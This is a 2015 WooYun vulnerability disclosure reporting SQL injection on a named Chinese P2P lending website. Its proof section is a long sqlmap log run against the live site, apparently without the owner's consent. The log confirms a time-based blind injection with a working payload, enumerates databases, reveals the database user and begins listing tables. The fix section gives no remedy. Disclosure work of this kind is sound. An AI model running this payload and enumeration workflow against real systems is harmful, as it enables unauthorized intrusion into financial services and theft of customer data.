当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0127040

漏洞标题:P2P安全之金二代投资网站存在SQL注入漏洞

相关厂商:广州金二代投资管理有限公司

漏洞作者: 郁闷的小白

提交时间:2015-07-16 17:57

修复时间:2015-08-30 17:58

公开时间:2015-08-30 17:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-08-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

某投资网站存在SQL注入漏洞

详细说明:

金二代投资理财平台存在SQL注入漏洞
http://www.jinerdai.com/articlelist.page?type_id=05
因为是盲注,太费时间了就不跑完了

漏洞证明:

D:\sqlmap>phtyon sqlmap.py -u http://www.jinerdai.com/articlelist.page?type_id=0
5
'phtyon' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
D:\sqlmap>python sqlmap.py -u http://www.jinerdai.com/articlelist.page?type_id=0
5
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:24:31
[17:24:31] [INFO] testing connection to the target url
[17:24:31] [INFO] testing if the url is stable, wait a few seconds
[17:24:33] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[17:24:35] [INFO] testing if GET parameter 'type_id' is dynamic
sqlmap got a 302 redirect to 'http://www.jinerdai.com/wicket/page'. Do you want
to follow? [Y/n] y
[17:24:37] [INFO] confirming that GET parameter 'type_id' is dynamic
[17:24:37] [INFO] GET parameter 'type_id' is dynamic
[17:24:37] [WARNING] heuristic test shows that GET parameter 'type_id' might not
be injectable
[17:24:37] [INFO] testing for SQL injection on GET parameter 'type_id'
[17:24:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:24:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:24:41] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:24:42] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:24:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:24:44] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:24:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:24:46] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:24:47] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[17:25:48] [INFO] GET parameter 'type_id' is 'MySQL > 5.0.11 AND time-based blin
d' injectable
[17:25:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:25:48] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[17:25:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:25:56] [INFO] checking if the injection point on GET parameter 'type_id' is
a false positive
GET parameter 'type_id' is vulnerable. Do you want to keep testing the others (i
f any)? [y/N] y
sqlmap identified the following injection points with a total of 96 HTTP(s) requ
ests:
---
Place: GET
Parameter: type_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=05' AND SLEEP(5) AND 'uqNq'='uqNq
---
[17:27:34] [INFO] the back-end DBMS is MySQL
web application technology: Servlet 3.1, JSP, JSP 2.3
back-end DBMS: MySQL 5.0.11
[17:27:34] [INFO] fetched data logged to text files under 'D:\sqlmap\output\www.
jinerdai.com'
[*] shutting down at 17:27:34
D:\sqlmap>python sqlmap.py -u http://www.jinerdai.com/articlelist.page?type_id=0
5 --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:27:44
[17:27:45] [INFO] resuming back-end DBMS 'mysql'
[17:27:45] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: type_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=05' AND SLEEP(5) AND 'uqNq'='uqNq
---
[17:27:45] [INFO] the back-end DBMS is MySQL
web application technology: Servlet 3.1, JSP, JSP 2.3
back-end DBMS: MySQL 5.0.11
[17:27:45] [INFO] fetching database names
[17:27:45] [INFO] fetching number of databases
[17:27:45] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[17:28:31] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
sqlmap got a 302 redirect to 'http://www.jinerdai.com/wicket/page'. Do you want
to follow? [Y/n] y
[17:29:03] [INFO] adjusting time delay to 2 seconds due to good response times
[17:29:03] [ERROR] invalid character detected. retrying..
[17:29:03] [WARNING] increasing time delay to 3 seconds
5
[17:30:04] [INFO] retrieved: in
[17:35:38] [ERROR] invalid character detected. retrying..
[17:35:38] [WARNING] increasing time delay to 4 seconds
formation_schema
[18:07:25] [INFO] retrieved: ji
[18:13:29] [ERROR] invalid character detected. retrying..
[18:13:29] [WARNING] increasing time delay to 5 seconds
[18:16:00] [ERROR] invalid character detected. retrying..
[18:16:00] [WARNING] increasing time delay to 6 seconds
nerdai
[18:26:38] [INFO] retrieved: m
[18:31:13] [ERROR] invalid character detected. retrying..
[18:31:13] [WARNING] increasing time delay to 7 seconds
ysql
[18:39:19] [INFO] retrieved: p
[18:44:22] [ERROR] unable to properly validate last character value ('g')..
g
[18:46:11] [ERROR] invalid character detected. retrying..
[18:46:11] [WARNING] increasing time delay to 3 seconds
[18:48:15] [ERROR] invalid character detected. retrying..
[18:48:15] [WARNING] increasing time delay to 4 seconds
[18:50:17] [ERROR] invalid character detected. retrying..
[18:50:17] [WARNING] increasing time delay to 5 seconds
[18:52:27] [ERROR] invalid character detected. retrying..
[18:52:27] [WARNING] increasing time delay to 6 seconds
[18:53:04] [ERROR] invalid character detected. retrying..
[18:53:04] [WARNING] increasing time delay to 7 seconds
[18:53:42] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://bugs.python.org/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[18:53:42] [ERROR] unable to properly validate last character value ('?')..
[18:55:31] [ERROR] invalid character detected. retrying..
[18:55:31] [WARNING] increasing time delay to 3 seconds
[18:57:13] [ERROR] invalid character detected. retrying..
[18:57:13] [WARNING] increasing time delay to 4 seconds
[18:57:47] [ERROR] invalid character detected. retrying..
[18:57:47] [WARNING] increasing time delay to 5 seconds
[18:58:23] [ERROR] invalid character detected. retrying..
[18:58:23] [WARNING] increasing time delay to 6 seconds
[18:58:58] [ERROR] invalid character detected. retrying..
[18:58:58] [WARNING] increasing time delay to 7 seconds
[18:59:34] [ERROR] unable to properly validate last character value ('?')..
?o
[19:04:07] [ERROR] invalid character detected. retrying..
[19:04:07] [WARNING] increasing time delay to 3 seconds
rmance_sche
[19:27:25] [ERROR] invalid character detected. retrying..
[19:27:25] [WARNING] increasing time delay to 4 seconds
ma
[19:30:30] [INFO] retrieved: temp
available databases [5]:
[*] `pg?\x07?ormance_schema`
[*] information_schema
[*] jinerdai
[*] mysql
[*] temp
[19:39:46] [INFO] fetched data logged to text files under 'D:\sqlmap\output\www.
jinerdai.com'
[*] shutting down at 19:39:46
D:\sqlmap>python sqlmap.py -u http://www.jinerdai.com/articlelist.page?type_id=0
5 --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:33:34
[21:33:34] [INFO] resuming back-end DBMS 'mysql'
[21:33:34] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: type_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=05' AND SLEEP(5) AND 'uqNq'='uqNq
---
[21:33:35] [INFO] the back-end DBMS is MySQL
web application technology: Servlet 3.1, JSP, JSP 2.3
back-end DBMS: MySQL 5.0.11
[21:33:35] [INFO] fetching current database
[21:33:35] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[21:34:53] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
sqlmap got a 302 redirect to 'http://www.jinerdai.com/wicket/page'. Do you want
to follow? [Y/n] y
[21:35:28] [INFO] adjusting time delay to 1 second due to good response times
[21:35:42] [ERROR] invalid character detected. retrying..
[21:35:42] [WARNING] increasing time delay to 2 seconds
jinerdai
current database: 'jinerdai'
[21:48:06] [INFO] fetched data logged to text files under 'D:\sqlmap\output\www.
jinerdai.com'
[*] shutting down at 21:48:06
D:\sqlmap>python sqlmap.py -u http://www.jinerdai.com/articlelist.page?type_id=0
5 --is-dba
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 21:48:45
[21:48:45] [INFO] resuming back-end DBMS 'mysql'
[21:48:47] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: type_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=05' AND SLEEP(5) AND 'uqNq'='uqNq
---
[21:48:47] [INFO] the back-end DBMS is MySQL
web application technology: Servlet 3.1, JSP, JSP 2.3
back-end DBMS: MySQL 5.0.11
[21:48:47] [INFO] testing if current user is DBA
[21:48:47] [INFO] fetching current user
[21:48:47] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[21:50:07] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
sqlmap got a 302 redirect to 'http://www.jinerdai.com/wicket/page'. Do you want
to follow? [Y/n] y
[21:51:02] [INFO] adjusting time delay to 1 second due to good response times
[21:51:17] [ERROR] invalid character detected. retrying..
[21:51:17] [WARNING] increasing time delay to 2 seconds
loanadm
[22:04:42] [ERROR] invalid character detected. retrying..
[22:04:42] [WARNING] increasing time delay to 3 seconds
in@%
current user is DBA: False
[22:12:50] [INFO] fetched data logged to text files under 'D:\sqlmap\output\www.
jinerdai.com'
[*] shutting down at 22:12:50
D:\sqlmap>python sqlmap.py -u http://www.jinerdai.com/articlelist.page?type_id=0
5 --tables -D jinerdai
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 22:17:38
[22:17:38] [INFO] resuming back-end DBMS 'mysql'
[22:17:39] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: type_id
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: type_id=05' AND SLEEP(5) AND 'uqNq'='uqNq
---
[22:17:39] [INFO] the back-end DBMS is MySQL
web application technology: Servlet 3.1, JSP, JSP 2.3
back-end DBMS: MySQL 5.0.11
[22:17:39] [INFO] fetching tables for database: 'jinerdai'
[22:17:39] [INFO] fetching number of tables for database 'jinerdai'
[22:17:39] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
sqlmap got a 302 redirect to 'http://www.jinerdai.com/wicket/page'. Do you want
to follow? [Y/n] y
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[22:17:47] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
[22:18:18] [ERROR] invalid character detected. retrying..
[22:18:18] [WARNING] increasing time delay to 6 seconds
172
[22:20:52] [INFO] retrieved: access_grant
[22:43:15] [INFO] retrieved: admin_atte

修复方案:

你们懂得

版权声明:转载请注明来源 郁闷的小白@乌云


漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:0

确认时间:2015-07-16 17:57

厂商回复:

最新状态:

暂无